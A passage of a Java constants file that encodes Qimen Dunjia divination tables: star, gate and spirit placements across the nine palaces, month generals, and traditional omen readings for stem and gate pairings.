put("天辅", 4); // 天辅:巽四宫
put("天禽", 5); // 天禽:中五宫(寄二宫)
put("天心", 6); // 天心:乾六宫
put("天柱", 7); // 天柱:兑七宫
put("天任", 8); // 天任:艮八宫
put("天英", 9); // 天英:离九宫
}
};
/**
* 九星位置(顺转九宫)
*/
public static final Map<Integer, List<String>> JIU_XING_SHUN = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
{
put(0, Arrays.asList("天蓬", "天芮", "天冲", "天辅", "", "天心", "天柱", "天任", "天英")); // 天蓬星落坎一宫
put(1, Arrays.asList("天辅", "天蓬", "天芮", "天柱", "", "天冲", "天任", "天英", "天心")); // 天蓬星落坤二宫
put(2, Arrays.asList("天柱", "天辅", "天蓬", "天任", "", "天芮", "天英", "天心", "天冲")); // 天蓬星落朕三宫
put(3, Arrays.asList("天芮", "天冲", "天心", "天蓬", "", "天英", "天辅", "天柱", "天任")); // 天蓬星落巽四宫
put(4, Arrays.asList("天任", "天柱", "天辅", "天英", "", "天蓬", "天心", "天冲", "天芮")); // 天蓬星落乾六宫
put(5, Arrays.asList("天冲", "天心", "天英", "天芮", "", "天任", "天蓬", "天辅", "天柱")); // 天蓬星落兑七宫
put(6, Arrays.asList("天心", "天英", "天任", "天冲", "", "天柱", "天芮", "天蓬", "天辅")); // 天蓬星落艮八宫
put(7, Arrays.asList("天英", "天任", "天柱", "天心", "", "天辅", "天冲", "天芮", "天蓬")); // 天蓬星落离九宫
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 八门原始宫位(1~9宫)
*/
public static final String[] BA_MEN_INITIAL = {"休门", "死门", "伤门", "杜门", "", "开门", "惊门", "生门", "景门"};
/**
* 八门位置(顺转九宫)
*/
public static final Map<Integer, List<String>> BA_MEN_SHUN_ZHUAN = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
{
put(0, Arrays.asList("休门", "死门", "伤门", "杜门", "", "开门", "惊门", "生门", "景门")); // 休门落坎一宫
put(1, Arrays.asList("杜门", "休门", "死门", "惊门", "", "伤门", "生门", "景门", "开门")); // 休门落坤二宫
put(2, Arrays.asList("惊门", "杜门", "休门", "生门", "", "死门", "景门", "开门", "伤门")); // 休门落震三宫
put(3, Arrays.asList("死门", "伤门", "开门", "休门", "", "景门", "杜门", "惊门", "生门")); // 休门落巽四宫
put(4, Arrays.asList("杜门", "休门", "死门", "惊门", "", "伤门", "生门", "景门", "开门")); // 休门落中五宫(按坤二宫计算)
put(5, Arrays.asList("生门", "惊门", "杜门", "景门", "", "休门", "开门", "伤门", "死门")); // 休门落乾六宫
put(6, Arrays.asList("伤门", "开门", "景门", "死门", "", "生门", "休门", "杜门", "惊门")); // 休门落兑七宫
put(7, Arrays.asList("开门", "景门", "生门", "伤门", "", "惊门", "死门", "休门", "杜门")); // 休门落艮八宫
put(8, Arrays.asList("景门", "生门", "惊门", "开门", "", "杜门", "伤门", "死门", "休门")); // 休门落离九宫
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 八神位置(顺转九宫)
*/
public static final Map<Integer, List<String>> BA_SHEN_SHUN_ZHUAN = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
{
put(1, Arrays.asList("值符", "玄武", "太阴", "六合", "", "九天", "九地", "螣蛇", "白虎")); // 大值符旋转后落坎一宫
put(2, Arrays.asList("六合", "值符", "玄武", "九地", "", "太阴", "螣蛇", "白虎", "九天")); // 大值符旋转后落坤二宫
put(3, Arrays.asList("九地", "六合", "值符", "螣蛇", "", "玄武", "白虎", "九天", "太阴")); // 大值符旋转后落震三宫
put(4, Arrays.asList("玄武", "太阴", "九天", "值符", "", "白虎", "六合", "九地", "螣蛇")); // 大值符旋转后落巽四宫
put(5, Arrays.asList("六合", "值符", "玄武", "九地", "", "太阴", "螣蛇", "白虎", "九天")); // 五宫寄二宫
put(6, Arrays.asList("螣蛇", "九地", "六合", "白虎", "", "值符", "九天", "太阴", "玄武")); // 大值符旋转后落乾六宫
put(7, Arrays.asList("太阴", "九天", "白虎", "玄武", "", "螣蛇", "值符", "六合", "九地")); // 大值符旋转后落兑七宫
put(8, Arrays.asList("九天", "白虎", "螣蛇", "太阴", "", "九地", "玄武", "值符", "六合")); // 大值符旋转后落艮八宫
put(9, Arrays.asList("白虎", "螣蛇", "九地", "九天", "", "六合", "太阴", "玄武", "值符")); // 大值符旋转后落离九宫
}
};
/**
* 八神位置(逆转九宫)
*/
public static final Map<Integer, List<String>> BA_SHEN_NI_ZHUAN = new HashMap<Integer, List<String>>() {
private static final long serialVersionUID = -1;
{
put(1, Arrays.asList("值符", "六合", "九地", "玄武", "", "螣蛇", "太阴", "九天", "白虎")); // 大值符旋转后落坎一宫
put(2, Arrays.asList("玄武", "值符", "六合", "太阴", "", "九地", "九天", "白虎", "螣蛇")); // 大值符旋转后落坤二宫
put(3, Arrays.asList("太阴", "玄武", "值符", "九天", "", "六合", "白虎", "螣蛇", "九地")); // 大值符旋转后落震三宫
put(4, Arrays.asList("六合", "九地", "螣蛇", "值符", "", "白虎", "玄武", "太阴", "九天")); // 大值符旋转后落巽四宫
put(5, Arrays.asList("玄武", "值符", "六合", "太阴", "", "九地", "九天", "白虎", "螣蛇")); // 五宫寄二宫
put(6, Arrays.asList("九天", "太阴", "玄武", "白虎", "", "值符", "螣蛇", "九地", "六合")); // 大值符旋转后落乾六宫
put(7, Arrays.asList("九地", "螣蛇", "白虎", "六合", "", "九天", "值符", "玄武", "太阴")); // 大值符旋转后落兑七宫
put(8, Arrays.asList("螣蛇", "白虎", "九天", "九地", "", "太阴", "六合", "值符", "玄武")); // 大值符旋转后落艮八宫
put(9, Arrays.asList("白虎", "九天", "太阴", "螣蛇", "", "玄武", "九地", "六合", "值符")); // 大值符旋转后落离九宫
}
};
/**
* 八神吉凶
*/
public static final Map<String, String> BA_SHEN_JI_XIONG = new HashMap<String, String>() {
private static final long serialVersionUID = -1;
{
put("值符", "吉");
put("螣蛇", "凶");
put("太阴", "吉");
put("六合", "吉");
put("白虎", "凶");
put("玄武", "凶");
put("九地", "吉");
put("九天", "吉");
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 月将、月将神
*/
public static final Map<String, List<String>> YUE_JIANG = new HashMap<String, List<String>>() {
private static final long serialVersionUID = -1;
/*
正月建寅,寅与亥合,所以正月的月将为:亥,月将神为:登明
二月建卯,卯与戌合,所以二月的月将为:戌,月将神为:河魁
三月建辰,辰与酉合,所以三月的月将为:酉,月将神为:从魁
四月建巳,巳与申合,所以四月的月将为:申,月将神为:传送
五月建午,午与未合,所以五月的月将为:未,月将神为:小吉
六月建未,未与午合,所以六月的月将为:午,月将神为:胜光
七月建申,申与巳合,所以七月的月将为:巳,月将神为:太乙
八月建酉,酉与辰合,所以八月的月将为:辰,月将神为:天罡
九月建戌,戌与卯合,所以九月的月将为:卯,月将神为:太冲
十月建亥,亥与寅合,所以十月的月将为:寅,月将神为:功曹
十一月建子,子与丑合,所以十一月的月将为:丑,月将神为:大吉
十二月建丑,丑与子合,所以十二月的月将为:子,月将神为:神后
*/ {
put("寅", Arrays.asList("亥", "登明"));
put("卯", Arrays.asList("戌", "河魁"));
put("辰", Arrays.asList("酉", "从魁"));
put("巳", Arrays.asList("申", "传送"));
put("午", Arrays.asList("未", "小吉"));
put("未", Arrays.asList("午", "胜光"));
put("申", Arrays.asList("巳", "太乙"));
put("酉", Arrays.asList("辰", "天罡"));
put("戌", Arrays.asList("卯", "太冲"));
put("亥", Arrays.asList("寅", "功曹"));
put("子", Arrays.asList("丑", "大吉"));
put("丑", Arrays.asList("子", "神后"));
}
};
//------------------------------------------------------------------------------------------------------------------------------------
/**
* 十干克应
*/
public static final Map<List<String>, List<String>> SHI_GAN_KE_YING = new HashMap<List<String>, List<String>>() {
private static final long serialVersionUID = -1;
/*
十干克应:天盘天干和地盘天干相遇后的各种克应关系。
1、奇门遁甲将甲隐遁起来,其余九干又分成三奇和六仪,所以也就是奇仪之间的克应关系;
2、即天盘[乙、丙、丁、戊、己、庚、辛、壬、癸]和地盘[乙、丙、丁、戊、己、庚、辛、壬、癸]相遇后的各种关系。
*/ {
// 例如→ 天盘乙奇+地盘乙奇(日奇伏吟):宜安分守已、积粮藏宝、莳花种果等;不宜见上层领导、贵人、求名求利等。
put(Arrays.asList("乙", "乙"), Arrays.asList("日奇伏吟", "宜安分守已、积粮藏宝、莳花种果等;不宜见上层领导、贵人、求名求利等。"));
put(Arrays.asList("乙", "丙"), Arrays.asList("奇仪顺遂", "吉星迁官晋职,凶星夫妻反目离别。"));
put(Arrays.asList("乙", "丁"), Arrays.asList("奇仪相佐", "最利文书、考试,百事可为。"));
put(Arrays.asList("乙", "戊"), Arrays.asList("阴害阳门", "利于阴人、阴事,不利阳人、阳事,得门吉尚可谋为,得门凶、门迫则破财伤人。"));
put(Arrays.asList("乙", "己"), Arrays.asList("日奇入墓", "门凶事必凶,得生、开二吉门为地遁。"));
put(Arrays.asList("乙", "庚"), Arrays.asList("日奇被刑", "为争讼财产,夫妻怀有私意。"));
put(Arrays.asList("乙", "辛"), Arrays.asList("青龙逃走", "此时不宜举兵,主将士逃窜,临阵败亡,所谋百事皆凶,财利倾覆,身遭残毁;通常代表君子主动离开恶劣环境、人才流失、人才出走、君子遭遇困境、险境而主动逃离等。测婚一般主女方先提出离婚。"));
put(Arrays.asList("乙", "壬"), Arrays.asList("日奇入地", "尊卑悖乱,官讼是非,有人谋害之事。"));
put(Arrays.asList("乙", "癸"), Arrays.asList("华盖逢星", "遁迹修道,隐匿藏形,躲灾避难为吉。"));
put(Arrays.asList("丙", "乙"), Arrays.asList("日月并行", "公谋私为皆吉。"));
put(Arrays.asList("丙", "丙"), Arrays.asList("月奇悖师", "文书逼迫,破耗遗失,主单据票证不明遗失。"));
put(Arrays.asList("丙", "丁"), Arrays.asList("星奇朱雀", "贵人文书吉利,常人平静安乐,得三吉门为天遁。"));
put(Arrays.asList("丙", "戊"), Arrays.asList("飞鸟跌穴", "百事吉,事业可为,可谋大事。"));
put(Arrays.asList("丙", "己"), Arrays.asList("大悖入刑", "坐监牢,被杖责,文书公文不能传递,得吉门则吉,得凶门则转吉为凶。"));
put(Arrays.asList("丙", "庚"), Arrays.asList("萤入太白/火入金乡", "门户破败,盗贼耗失,事业亦凶;火入金乡贼即去。"));
put(Arrays.asList("丙", "辛"), Arrays.asList("丙辛相和", "故谋事能成,为疾病人不凶。"));
put(Arrays.asList("丙", "壬"), Arrays.asList("火入天罗", "为客不利,是非颇多。"));
put(Arrays.asList("丙", "癸"), Arrays.asList("华盖悖师", "阴人害事,灾祸频生。"));
put(Arrays.asList("丁", "乙"), Arrays.asList("人遁吉格", "贵人加官晋爵,常人婚姻财帛有喜。"));
put(Arrays.asList("丁", "丙"), Arrays.asList("星随月转", "贵人越级高升,常人乐极生悲;需忍耐,否则会因小失大而不幸。"));
put(Arrays.asList("丁", "丁"), Arrays.asList("星奇入太阴", "文书证件即至,喜事从心,万事如意。"));
put(Arrays.asList("丁", "戊"), Arrays.asList("青龙转光", "官人升迁,常人威昌。"));
put(Arrays.asList("丁", "己"), Arrays.asList("火入勾陈", "奸私仇怨,事因女人。"));
put(Arrays.asList("丁", "庚"), Arrays.asList("文书阻隔", "行人必归。"));
put(Arrays.asList("丁", "辛"), Arrays.asList("朱雀入狱", "罪人释囚,官人失位。"));
put(Arrays.asList("丁", "壬"), Arrays.asList("丁壬相合", "主贵人恩诏,讼狱公平,测婚多为苟合。"));
put(Arrays.asList("丁", "癸"), Arrays.asList("朱雀投江", "文书口舌是非,惊动官府,词讼不利,音信沉溺不到。"));
put(Arrays.asList("戊", "乙"), Arrays.asList("甲乙会和", "又名青龙会和,门吉事吉,门凶事凶。"));
put(Arrays.asList("戊", "丙"), Arrays.asList("青龙返首", "为事所谋,大吉大利,若逢迫墓击邢,吉事也凶。"));
put(Arrays.asList("戊", "丁"), Arrays.asList("青龙耀明", "谒贵求名吉利,若值墓、迫,惹是生非。"));
put(Arrays.asList("戊", "戊"), Arrays.asList("甲甲比肩", "各谓伏吟,凡事不利,道路闭塞,以守为好。"));
put(Arrays.asList("戊", "己"), Arrays.asList("贵人入狱", "公司皆不利。"));
put(Arrays.asList("戊", "庚"), Arrays.asList("值符飞宫", "吉事不吉,凶事更凶,求财没利益,测病也主凶,同时甲庚相冲,也主换地方。"));
put(Arrays.asList("戊", "辛"), Arrays.asList("青龙折足", "子午相冲,吉门有生助,尚能谋事,若逢凶门,则招灾、失财或有足疾、折伤。"));
put(Arrays.asList("戊", "壬"), Arrays.asList("青龙入天牢", "凡阴阳事皆不吉利。"));
put(Arrays.asList("戊", "癸"), Arrays.asList("青龙华盖", "甲为青龙,癸为天网,逢吉门为吉,可招福临门,逢凶门事多不利,为凶。"));
put(Arrays.asList("己", "乙"), Arrays.asList("墓神不明", "地户逢星,宜遁迹隐形为吉利。"));
put(Arrays.asList("己", "丙"), Arrays.asList("火悖地户", "男人冤冤相害,女人必致淫污。"));
put(Arrays.asList("己", "丁"), Arrays.asList("朱雀入墓", "文书词讼,先曲后直。"));
put(Arrays.asList("己", "戊"), Arrays.asList("犬遇青龙", "门吉为谋望遂意,上人见喜,若门凶,枉费心机。"));
put(Arrays.asList("己", "己"), Arrays.asList("地户逢贵", "病者发凶或必死,百事不遂,暂不谋为,谋为则凶。"));
put(Arrays.asList("己", "庚"), Arrays.asList("刑格返名", "词讼先动者不利,如临阴星则有谋害之情。"));
put(Arrays.asList("己", "辛"), Arrays.asList("游魂入墓", "易遭阴邪鬼魅作祟。"));
put(Arrays.asList("己", "壬"), Arrays.asList("地网高张", "狡童佚女,奸情伤杀,凶。"));
put(Arrays.asList("己", "癸"), Arrays.asList("地刑玄武", "男女疾病垂危,有囚狱词讼之灾。"));
put(Arrays.asList("庚", "乙"), Arrays.asList("太白逢星", "退吉进凶,谋为不利。"));
put(Arrays.asList("庚", "丙"), Arrays.asList("太白入萤", "占贼贼必来,须防贼来偷营。宜于西北方伏击之。以固守为吉。为客进利,为主破财。"));
put(Arrays.asList("庚", "丁"), Arrays.asList("亭亭之格", "因私匿或男女关系起官司是非,门吉有救,门凶事必凶。"));
put(Arrays.asList("庚", "戊"), Arrays.asList("天乙伏宫", "百事不可谋,大凶。"));
put(Arrays.asList("庚", "己"), Arrays.asList("官符刑格", "主有官司口舌,因官讼被判刑,住牢狱更凶。"));
put(Arrays.asList("庚", "庚"), Arrays.asList("太白同宫", "又名战格,官灾横祸,兄弟或同辈朋友相冲撞,不利为事。"));
put(Arrays.asList("庚", "辛"), Arrays.asList("白虎干格", "不宜远行,远行车折马伤,求财更为大凶。"));
put(Arrays.asList("庚", "壬"), Arrays.asList("上格", "远行道路迷失,男女音信难通。"));
put(Arrays.asList("庚", "癸"), Arrays.asList("大格", "多主车祸,行人不至,官事不止,生育母子俱伤,大凶。"));
put(Arrays.asList("辛", "乙"), Arrays.asList("白虎猖狂", "家败人亡,远行多遭殃;测婚离散,主因男人。"));
put(Arrays.asList("辛", "丙"), Arrays.asList("干合悖师", "门吉则事吉,门凶事凶,测事易因财物致讼。"));
put(Arrays.asList("辛", "丁"), Arrays.asList("狱神得奇", "经商求财获利百倍,囚人逢天赦释免。"));
put(Arrays.asList("辛", "戊"), Arrays.asList("困龙被伤", "主官司破财,屈抑守分尚可,妄动则带来灾祸。"));
put(Arrays.asList("辛", "己"), Arrays.asList("入狱自刑", "奴仆背主,有苦诉讼难伸。"));
put(Arrays.asList("辛", "庚"), Arrays.asList("白虎出力", "刀刃相交,主客相残,逊让退步稍可,强进血溅衣衫。"));
put(Arrays.asList("辛", "辛"), Arrays.asList("午午自刑", "伏吟天庭,公废私就,讼狱自罹罪名。"));
put(Arrays.asList("辛", "壬"), Arrays.asList("凶蛇入狱", "两男争女,讼狱不息,先动失理。"));
put(Arrays.asList("辛", "癸"), Arrays.asList("天牢华盖", "日月失明,误入天网,动止乖张。"));
put(Arrays.asList("壬", "乙"), Arrays.asList("小蛇得势", "女人柔顺,男人通达,测孕育生子,禄马光荣。"));
put(Arrays.asList("壬", "丙"), Arrays.asList("水蛇入火", "主官灾刑禁,络绎不绝。"));
put(Arrays.asList("壬", "丁"), Arrays.asList("干合蛇刑", "文书牵连,贵人匆匆,男吉女凶。"));
put(Arrays.asList("壬", "戊"), Arrays.asList("小蛇化龙", "男人发达,女人产婴童。"));
put(Arrays.asList("壬", "己"), Arrays.asList("反吟蛇刑", "主官讼败诉,大祸将至,顺守可吉,妄动必灾。"));
put(Arrays.asList("壬", "庚"), Arrays.asList("太白擒蛇", "刑狱公平,立部刑正。"));
put(Arrays.asList("壬", "辛"), Arrays.asList("腾蛇相缠", "纵得吉门,亦不能安宁,若有谋望,被人欺瞒。"));
put(Arrays.asList("壬", "壬"), Arrays.asList("蛇入地罗", "外人缠绕,内事索索,吉门吉星,庶免蹉跎。"));
put(Arrays.asList("壬", "癸"), Arrays.asList("幼女奸淫", "主有家丑外扬之事发生,门吉星凶,易反福为祸。"));
put(Arrays.asList("癸", "乙"), Arrays.asList("华盖逢星", "贵人禄位,常人平安,门吉则吉,门凶则凶。"));
put(Arrays.asList("癸", "丙"), Arrays.asList("华盖悖师", "贵贱逢之皆不利,惟上人见喜。"));
put(Arrays.asList("癸", "丁"), Arrays.asList("螣蛇夭矫", "文书官司,火焚也难逃。"));
put(Arrays.asList("癸", "戊"), Arrays.asList("天乙会和", "吉门易求财,婚姻喜美,吉人赞助成合;门凶迫制,反祸官非。"));
put(Arrays.asList("癸", "己"), Arrays.asList("华盖地户", "男女测之,音信皆阻,此格宜躲灾避难方为吉。"));
put(Arrays.asList("癸", "庚"), Arrays.asList("太白入网", "主以暴力争讼,自罹罪责。"));
put(Arrays.asList("癸", "辛"), Arrays.asList("网盖天牢", "主官司败讼,死罪难逃,测病亦大凶。"));
put(Arrays.asList("癸", "壬"), Arrays.asList("复见螣蛇", "主嫁娶重婚,后嫁无子,不保年华。"));
put(Arrays.asList("癸", "癸"), Arrays.asList("天网四张", "主行人失伴,病讼皆伤。"));
}
};
/**
* 八门克应
*/
public static final Map<List<String>, String> BA_MEN_KE_YING = new HashMap<List<String>, String>() {
private static final long serialVersionUID = -1;
/*
八门克应:人盘八门与地盘八门、地盘奇仪、天盘奇仪的生克制化关系。
1、休门:休门最好娶资财,牛马猪羊自送来。外口婚姻南方应,迁宫进职坐京台。定进羽音入产业,居家安庆永无灾。
2、生门:生门临着土星辰,人旺畜孳每称情。子丑年中三七月,黄衣捧笏到门庭。蚕丝谷帛皆丰足,朱紫儿孙守帝廷。南方商音田土地,子孙禄位至公卿。
3、伤门:疮疼行不得,折损血财身。天灾人枉死,经年有病人。商音难得好,余事不堪闻。
4、杜门:杜门原是木,犯者灾祸频。亥卯未年月,遭官入狱屯。生离并死别,六畜逐时瘟。落树生脓血,祸害及子孙。
5、景门:景门主血光,官符卖田庄。祸灾应多有,子孙受苦殃。外亡并恶死,六畜也见伤。生离与死别,用者须提防。
6、死门:死门之方最为凶,修造逢之祸必侵。犯者年年财产退,更防孝服死人丁。
7、惊门:惊门不可论,瘟疫死人丁。辰年并酉月,非祸入门庭。
8、开门:开门欲腹照临来,奴婢牛羊百日回。财宝进时地户入,兴隆宅舍有资财。田园招得商音送,巳酉丑年绝户来。印信子孙多拜受,经衣金带拜荣回。
*/ {
// 例如→ 休门+休门:求财、进人口、谒贵吉,朝见、上官、修造亦大利。
put(Arrays.asList("休门", "休门"), "求财、进人口、谒贵吉,朝见、上官、修造亦大利。");
put(Arrays.asList("休门", "生门"), "主得阴人财物。干贵谋望,虽迟应吉。");
put(Arrays.asList("休门", "伤门"), "主上官、吉庆,求财不得。有亲故分产。变动事不吉。");
put(Arrays.asList("休门", "杜门"), "主破财,失物难寻。");
put(Arrays.asList("休门", "景门"), "主求望文书印信事不至,反招口舌小凶。");
put(Arrays.asList("休门", "死门"), "主求文书印信官司事,或僧道,远行事,不吉,占病凶。");
put(Arrays.asList("休门", "惊门"), "主损财、招非并疾病、惊恐事。");
put(Arrays.asList("休门", "开门"), "主开张店肆及见贵、求财、喜庆事,大吉。");
put(Arrays.asList("休门", "乙"), "求谋重,不得;求轻,可得。");
put(Arrays.asList("休门", "丙"), "文书和合喜庆。");
put(Arrays.asList("休门", "丁"), "百讼休歇。");
put(Arrays.asList("休门", "戊"), "财物和合。");
put(Arrays.asList("休门", "己"), "暗昧不宁。");
put(Arrays.asList("休门", "庚"), "文书词讼先结后解。");
put(Arrays.asList("休门", "辛"), "疾病退愈,失物不得。");
put(Arrays.asList("休门", "壬"), "阴人词讼牵连。");
put(Arrays.asList("休门", "癸"), "阴人词讼牵连。");
put(Arrays.asList("生门", "休门"), "主阴人处求望财利,吉。");
put(Arrays.asList("生门", "生门"), "主远行、求财吉。");
put(Arrays.asList("生门", "伤门"), "主亲友变动,道路不吉。");
put(Arrays.asList("生门", "杜门"), "主阴谋,阴人破财,不利。");
put(Arrays.asList("生门", "景门"), "主阴人、小口不宁及文书事后吉。");
put(Arrays.asList("生门", "死门"), "主田宅官司,病主难救。");
put(Arrays.asList("生门", "惊门"), "主尊长财产、词讼,病迟愈,吉。");
put(Arrays.asList("生门", "开门"), "主见贵人,求财大发。");
put(Arrays.asList("生门", "乙"), "主阴人生产迟吉。");
put(Arrays.asList("生门", "丙"), "主贵人印绶、婚姻、书信喜事。");
put(Arrays.asList("生门", "丁"), "主词讼、婚姻、财利大吉。");
put(Arrays.asList("生门", "戊"), "嫁娶、求财、谒贵皆吉。");
put(Arrays.asList("生门", "己"), "主得贵人维持吉。");
put(Arrays.asList("生门", "庚"), "主财产争讼破产,不利。");
put(Arrays.asList("生门", "辛"), "主官事、产妇疾病,后吉。");
put(Arrays.asList("生门", "壬"), "主遗失财产后得,盗贼易获。");
put(Arrays.asList("生门", "癸"), "主婚姻不成,余事皆吉。");
put(Arrays.asList("伤门", "休门"), "主男人变动或托人办事,财名不利。");
put(Arrays.asList("伤门", "生门"), "主房产、种植事业,凶。");
put(Arrays.asList("伤门", "伤门"), "主变动、远得折伤,凶。");
put(Arrays.asList("伤门", "杜门"), "主变动、失脱、官司桎梏,百事皆凶。");
put(Arrays.asList("伤门", "景门"), "主文书印信、口舌,惹是生非。");
put(Arrays.asList("伤门", "死门"), "主官司印信凶,出行大忌,点病凶。");
put(Arrays.asList("伤门", "惊门"), "主亲人疾病忧惧,媒伐不利,凶。");
put(Arrays.asList("伤门", "开门"), "主贵人开张有走失变动之事,不利。");
put(Arrays.asList("伤门", "乙"), "主求谋不得,反防盗失财。");
put(Arrays.asList("伤门", "丙"), "主道路损失。");
put(Arrays.asList("伤门", "丁"), "主音信不实。");
put(Arrays.asList("伤门", "戊"), "主失脱难获。");
put(Arrays.asList("伤门", "己"), "主财散人亡。");
put(Arrays.asList("伤门", "庚"), "主讼狱被刑杖,凶。");
put(Arrays.asList("伤门", "辛"), "主夫妻怀私恣怨。");
put(Arrays.asList("伤门", "壬"), "主因盗牵连。");
put(Arrays.asList("伤门", "癸"), "讼狱被冤,有理难伸。");
put(Arrays.asList("杜门", "休门"), "主求财有益。");
put(Arrays.asList("杜门", "生门"), "主阳人小口破财及田宅,求财不利。");
put(Arrays.asList("杜门", "伤门"), "主兄弟相争田产,破财不利。");
put(Arrays.asList("杜门", "杜门"), "主因父母疾病,田宅出脱事,凶。");
put(Arrays.asList("杜门", "景门"), "主文书印信阻隔,阳人小口疾病,迟疑不利。");
put(Arrays.asList("杜门", "死门"), "主田宅文书失落,官司破财,小凶。");
put(Arrays.asList("杜门", "惊门"), "主门户内忧疑惊恐,并有词讼事。");
put(Arrays.asList("杜门", "开门"), "主见贵人官长,谋事主先破己财,后吉。");
put(Arrays.asList("杜门", "乙"), "主宜暗求阳人财物,得主不明至讼。");
put(Arrays.asList("杜门", "丙"), "主文契遗失。");
put(Arrays.asList("杜门", "丁"), "主男人入狱。");
put(Arrays.asList("杜门", "戊"), "主谋事不成,密处求财得。");
put(Arrays.asList("杜门", "己"), "主私害人招非。");
put(Arrays.asList("杜门", "庚"), "主因女人讼狱被刑。");
put(Arrays.asList("杜门", "辛"), "主打伤人,词讼阳人小口凶。");
put(Arrays.asList("杜门", "壬"), "主奸盗事,凶。");
put(Arrays.asList("杜门", "癸"), "主百事皆阻,病者不食。");
put(Arrays.asList("景门", "休门"), "主文书遗失,争讼不休。");
put(Arrays.asList("景门", "生门"), "主阴人生产大喜,更主求财旺利,行人皆吉。");
put(Arrays.asList("景门", "伤门"), "主姻亲小口口舌。");
put(Arrays.asList("景门", "杜门"), "主失脱文书,散财后平。");
put(Arrays.asList("景门", "景门"), "主文状未动有预先见之意,内有小口忧患。");
put(Arrays.asList("景门", "死门"), "主官讼,因田宅事争竞,惹麻烦。");
put(Arrays.asList("景门", "惊门"), "主官讼,女人小口疾病,凶。");
put(Arrays.asList("景门", "开门"), "主官人升迁,吉;求文印更吉。");
put(Arrays.asList("景门", "乙"), "主讼事不成。");
put(Arrays.asList("景门", "丙"), "主文书急迫火速不利。");
put(Arrays.asList("景门", "丁"), "主因文书印状招非。");
put(Arrays.asList("景门", "戊"), "主因财产词讼。远行吉。");
put(Arrays.asList("景门", "己"), "主官事牵连。");
put(Arrays.asList("景门", "庚"), "主讼人自讼。");
put(Arrays.asList("景门", "辛"), "主阴人词讼。");
put(Arrays.asList("景门", "壬"), "主因贼牵连。");
put(Arrays.asList("景门", "癸"), "主因奴婢刑。");
put(Arrays.asList("死门", "休门"), "主求财物事不吉,若问生道求方吉。");
put(Arrays.asList("死门", "生门"), "主丧事,求财得,占病死者复生。");
put(Arrays.asList("死门", "伤门"), "主官事动而被刑杖,凶。");
put(Arrays.asList("死门", "杜门"), "主破财,妇人风疾,凶。");
put(Arrays.asList("死门", "景门"), "主因文契印信财产事见官,先怒后喜,不凶。");
put(Arrays.asList("死门", "死门"), "主官而留,印信无气,凶。");
put(Arrays.asList("死门", "惊门"), "主因官司不给,忧疑患病,凶。");
put(Arrays.asList("死门", "开门"), "主见贵人,求印信文书事大利。");
put(Arrays.asList("死门", "乙"), "主求事不成。");
put(Arrays.asList("死门", "丙"), "主信息忧疑。");
put(Arrays.asList("死门", "丁"), "主老阳人疾病。");
put(Arrays.asList("死门", "戊"), "主作伪财。");
put(Arrays.asList("死门", "己"), "主病讼牵连不已,凶。");
put(Arrays.asList("死门", "庚"), "主女人生产,母子俱凶。");
put(Arrays.asList("死门", "辛"), "主盗贼失脱难获。");
put(Arrays.asList("死门", "壬"), "主讼人自讼自招。");
put(Arrays.asList("死门", "癸"), "主妇女嫁娶事凶。");
put(Arrays.asList("惊门", "休门"), "主求财事或因口舌求财事,迟吉。");
put(Arrays.asList("惊门", "生门"), "主因妇人生忧惊,或因求财生忧惊,皆吉。");
put(Arrays.asList("惊门", "伤门"), "主因商议同谋害人,事泄惹讼,凶。");
put(Arrays.asList("惊门", "杜门"), "主因失脱破财惊恐,不凶。");
put(Arrays.asList("惊门", "景门"), "主词讼不息,小口疾病,凶。");
put(Arrays.asList("惊门", "死门"), "主因宅中怪异而生是非,凶。");
put(Arrays.asList("惊门", "惊门"), "主疾病、忧疑、惊疑。");
put(Arrays.asList("惊门", "开门"), "主忧疑、官司、惊恐;能见贵人,不凶。");
put(Arrays.asList("惊门", "乙"), "主谋财不得。");
put(Arrays.asList("惊门", "丙"), "主文书印信惊恐。");
put(Arrays.asList("惊门", "丁"), "主词讼牵连。");
put(Arrays.asList("惊门", "戊"), "主损财,信阻。");
put(Arrays.asList("惊门", "己"), "主恶犬伤人成讼。");
put(Arrays.asList("惊门", "庚"), "主道路损折、遇贼盗,凶。");
put(Arrays.asList("惊门", "辛"), "主女人成讼,凶。");
put(Arrays.asList("惊门", "壬"), "主官司因禁,病者大凶。");
put(Arrays.asList("惊门", "癸"), "主被盗,失物难获。");
put(Arrays.asList("开门", "休门"), "主见贵人财喜及开张铺店,贸易大吉。");
put(Arrays.asList("开门", "生门"), "主见贵人,谋望所求遂意。");
put(Arrays.asList("开门", "伤门"), "主变动、更改、移徙,事皆不吉。");
put(Arrays.asList("开门", "杜门"), "主失脱,刊印书契小凶。");
put(Arrays.asList("开门", "景门"), "主见贵人,因文书事不利。");
put(Arrays.asList("开门", "死门"), "主官司惊忧,先忧后喜。");
put(Arrays.asList("开门", "惊门"), "主百事不利。");
put(Arrays.asList("开门", "开门"), "主贵人定物财喜。");
put(Arrays.asList("开门", "乙"), "小财可求。");
put(Arrays.asList("开门", "丙"), "贵人印绶。");
put(Arrays.asList("开门", "丁"), "远信心至。");
put(Arrays.asList("开门", "戊"), "财名俱得。");
put(Arrays.asList("开门", "己"), "事绪不定。");
put(Arrays.asList("开门", "庚"), "道路词讼,谋为两歧。");
put(Arrays.asList("开门", "辛"), "阴人道路。");
put(Arrays.asList("开门", "壬"), "远得有失。");
put(Arrays.asList("开门", "癸"), "阴人人财小凶。");
}
};
/**
* 八门克应之静应
*/
public static final Map<List<String>, String> BA_MEN_JING_YING = new HashMap<List<String>, String>() {
private static final long serialVersionUID = -1;
/*
八门静应:门加门、门加三奇六仪所形成的格局及其吉凶,主要用于占事。
*/
// 请参考八门克应
};
/**
* 八门克应之动应
*/
public static final Map<List<String>, String> BA_MEN_DONG_YING = new HashMap<List<String>, String>() {
private static final long serialVersionUID = -1;
/*
八门动应:门与门相对时,在出门等路上所遇到的兆应,主要用于择吉。
*/ {
put(Arrays.asList("休门", "休门"), "一里或十一里,逢青衣夫妻歌唱为应。");
put(Arrays.asList("休门", "生门"), "八里或十八里,逢妇人下黑土黄土或皂衣公吏人。");
put(Arrays.asList("休门", "伤门"), "三里或十三里,逢匠人拿木棍或皂衣公吏人。");
put(Arrays.asList("休门", "杜门"), "四里或十四里,逢青衣妇人拉或抱孩童边走边唱。");
